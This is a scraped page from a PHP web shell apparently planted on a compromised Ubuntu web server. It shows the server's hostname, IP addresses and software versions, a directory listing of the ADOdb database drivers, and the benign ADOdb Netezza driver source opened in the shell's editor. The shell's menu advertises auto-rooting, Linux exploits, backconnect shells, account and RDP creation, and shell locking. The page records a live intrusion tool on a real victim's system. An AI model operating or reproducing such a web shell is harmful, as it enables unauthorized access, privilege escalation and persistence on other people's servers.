Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.162.166
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
student /
vskub /
libs /
adodb5 /
drivers /
[ HOME SHELL ]
Name
Size
Permission
Action
adodb-access.inc.php
2.18
KB
-rwxr-xr-x
adodb-ado.inc.php
15.94
KB
-rwxr-xr-x
adodb-ado5.inc.php
17
KB
-rwxr-xr-x
adodb-ado_access.inc.php
1.39
KB
-rwxr-xr-x
adodb-ado_mssql.inc.php
4.29
KB
-rwxr-xr-x
adodb-ads.inc.php
23.2
KB
-rwxr-xr-x
adodb-borland_ibase.inc.php
2.18
KB
-rwxr-xr-x
adodb-csv.inc.php
4.82
KB
-rwxr-xr-x
adodb-db2.inc.php
21.53
KB
-rwxr-xr-x
adodb-db2oci.inc.php
4.57
KB
-rwxr-xr-x
adodb-db2ora.inc.php
1.94
KB
-rwxr-xr-x
adodb-fbsql.inc.php
6.36
KB
-rwxr-xr-x
adodb-firebird.inc.php
1.88
KB
-rwxr-xr-x
adodb-ibase.inc.php
24
KB
-rwxr-xr-x
adodb-informix.inc.php
1.03
KB
-rwxr-xr-x
adodb-informix72.inc.php
14.57
KB
-rwxr-xr-x
adodb-ldap.inc.php
10.86
KB
-rwxr-xr-x
adodb-mssql.inc.php
33.59
KB
-rwxr-xr-x
adodb-mssql_n.inc.php
9.79
KB
-rwxr-xr-x
adodb-mssqlnative.inc.php
35.12
KB
-rwxr-xr-x
adodb-mssqlpo.inc.php
1.52
KB
-rwxr-xr-x
adodb-mysql.inc.php
21.99
KB
-rwxr-xr-x
adodb-mysqli.inc.php
32.43
KB
-rwxr-xr-x
adodb-mysqlpo.inc.php
3.1
KB
-rwxr-xr-x
adodb-mysqlt.inc.php
3.47
KB
-rwxr-xr-x
adodb-netezza.inc.php
4.71
KB
-rwxr-xr-x
adodb-oci8.inc.php
45.94
KB
-rwxr-xr-x
adodb-oci805.inc.php
1.55
KB
-rwxr-xr-x
adodb-oci8po.inc.php
5.92
KB
-rwxr-xr-x
adodb-oci8quercus.inc.php
2.39
KB
-rwxr-xr-x
adodb-odbc.inc.php
18.94
KB
-rwxr-xr-x
adodb-odbc_db2.inc.php
9.16
KB
-rwxr-xr-x
adodb-odbc_mssql.inc.php
10.49
KB
-rwxr-xr-x
adodb-odbc_oracle.inc.php
3.15
KB
-rwxr-xr-x
adodb-odbtp.inc.php
23.26
KB
-rwxr-xr-x
adodb-odbtp_unicode.inc.php
1.14
KB
-rwxr-xr-x
adodb-oracle.inc.php
9.26
KB
-rwxr-xr-x
adodb-pdo.inc.php
16.68
KB
-rwxr-xr-x
adodb-pdo_mssql.inc.php
1.5
KB
-rwxr-xr-x
adodb-pdo_mysql.inc.php
6.76
KB
-rwxr-xr-x
adodb-pdo_oci.inc.php
2.67
KB
-rwxr-xr-x
adodb-pdo_pgsql.inc.php
8.29
KB
-rwxr-xr-x
adodb-pdo_sqlite.inc.php
5.84
KB
-rwxr-xr-x
adodb-pdo_sqlsrv.inc.php
1013
B
-rwxr-xr-x
adodb-postgres.inc.php
611
B
-rwxr-xr-x
adodb-postgres64.inc.php
31.46
KB
-rwxr-xr-x
adodb-postgres7.inc.php
10.34
KB
-rwxr-xr-x
adodb-postgres8.inc.php
1.42
KB
-rwxr-xr-x
adodb-postgres9.inc.php
821
B
-rwxr-xr-x
adodb-proxy.inc.php
884
B
-rwxr-xr-x
adodb-sapdb.inc.php
5.1
KB
-rwxr-xr-x
adodb-sqlanywhere.inc.php
4.13
KB
-rwxr-xr-x
adodb-sqlite.inc.php
10.4
KB
-rwxr-xr-x
adodb-sqlite3.inc.php
10.07
KB
-rwxr-xr-x
adodb-sqlitepo.inc.php
1.82
KB
-rwxr-xr-x
adodb-sybase.inc.php
12.15
KB
-rwxr-xr-x
adodb-sybase_ase.inc.php
3.24
KB
-rwxr-xr-x
adodb-vfp.inc.php
2.45
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : adodb-netezza.inc.php
<?php /* @version v5.20.9 21-Dec-2016 @copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved. @copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community First cut at the Netezza Driver by Josh Eldridge joshuae74#hotmail.com Based on the previous postgres drivers. http://www.netezza.com/ Major Additions/Changes: MetaDatabasesSQL, MetaTablesSQL, MetaColumnsSQL Note: You have to have admin privileges to access the system tables Removed non-working keys code (Netezza has no concept of keys) Fixed the way data types and lengths are returned in MetaColumns() as well as added the default lengths for certain types Updated public variables for Netezza Still need to remove blob functions, as Netezza doesn't suppport blob */ // security - hide paths if (!defined('ADODB_DIR')) die(); include_once(ADODB_DIR.'/drivers/adodb-postgres64.inc.php'); class ADODB_netezza extends ADODB_postgres64 { var $databaseType = 'netezza'; var $dataProvider = 'netezza'; var $hasInsertID = false; var $_resultid = false; var $concat_operator='||'; var $random = 'random'; var $metaDatabasesSQL = "select objname from _v_object_data where objtype='database' order by 1"; var $metaTablesSQL = "select objname from _v_object_data where objtype='table' order by 1"; var $isoDates = true; // accepts dates in ISO format var $sysDate = "CURRENT_DATE"; var $sysTimeStamp = "CURRENT_TIMESTAMP"; var $blobEncodeType = 'C'; var $metaColumnsSQL = "SELECT attname, atttype FROM _v_relation_column_def WHERE name = '%s' AND attnum > 0 ORDER BY attnum"; var $metaColumnsSQL1 = "SELECT attname, atttype FROM _v_relation_column_def WHERE name = '%s' AND attnum > 0 ORDER BY attnum"; // netezza doesn't have keys. it does have distributions, so maybe this is // something that can be pulled from the system tables var $metaKeySQL = ""; var $hasAffectedRows = true; var $hasLimit = true; var $true = 't'; // string that represents TRUE for a database var $false = 'f'; // string that represents FALSE for a database var $fmtDate = "'Y-m-d'"; // used by DBDate() as the default date format used by the database var $fmtTimeStamp = "'Y-m-d G:i:s'"; // used by DBTimeStamp as the default timestamp fmt. var $ansiOuter = true; var $autoRollback = true; // apparently pgsql does not autorollback properly before 4.3.4 // http://bugs.php.net/bug.php?id=25404 function __construct() { } function MetaColumns($table,$upper=true) { // Changed this function to support Netezza which has no concept of keys // could posisbly work on other things from the system table later. global $ADODB_FETCH_MODE; $table = strtolower($table); $save = $ADODB_FETCH_MODE; $ADODB_FETCH_MODE = ADODB_FETCH_NUM; if ($this->fetchMode !== false) $savem = $this->SetFetchMode(false); $rs = $this->Execute(sprintf($this->metaColumnsSQL,$table,$table)); if (isset($savem)) $this->SetFetchMode($savem); $ADODB_FETCH_MODE = $save; if ($rs === false) return false; $retarr = array(); while (!$rs->EOF) { $fld = new ADOFieldObject(); $fld->name = $rs->fields[0]; // since we're returning type and length as one string, // split them out here. if ($first = strstr($rs->fields[1], "(")) { $fld->max_length = trim($first, "()"); } else { $fld->max_length = -1; } if ($first = strpos($rs->fields[1], "(")) { $fld->type = substr($rs->fields[1], 0, $first); } else { $fld->type = $rs->fields[1]; } switch ($fld->type) { case "byteint": case "boolean": $fld->max_length = 1; break; case "smallint": $fld->max_length = 2; break; case "integer": case "numeric": case "date": $fld->max_length = 4; break; case "bigint": case "time": case "timestamp": $fld->max_length = 8; break; case "timetz": case "time with time zone": $fld->max_length = 12; break; } if ($ADODB_FETCH_MODE == ADODB_FETCH_NUM) $retarr[] = $fld; else $retarr[($upper) ? strtoupper($fld->name) : $fld->name] = $fld; $rs->MoveNext(); } $rs->Close(); return $retarr; } } /*-------------------------------------------------------------------------------------- Class Name: Recordset --------------------------------------------------------------------------------------*/ class ADORecordSet_netezza extends ADORecordSet_postgres64 { var $databaseType = "netezza"; var $canSeek = true; function __construct($queryID,$mode=false) { parent::__construct($queryID,$mode); } // _initrs modified to disable blob handling function _initrs() { global $ADODB_COUNTRECS; $this->_numOfRows = ($ADODB_COUNTRECS)? @pg_num_rows($this->_queryID):-1; $this->_numOfFields = @pg_num_fields($this->_queryID); } }
Close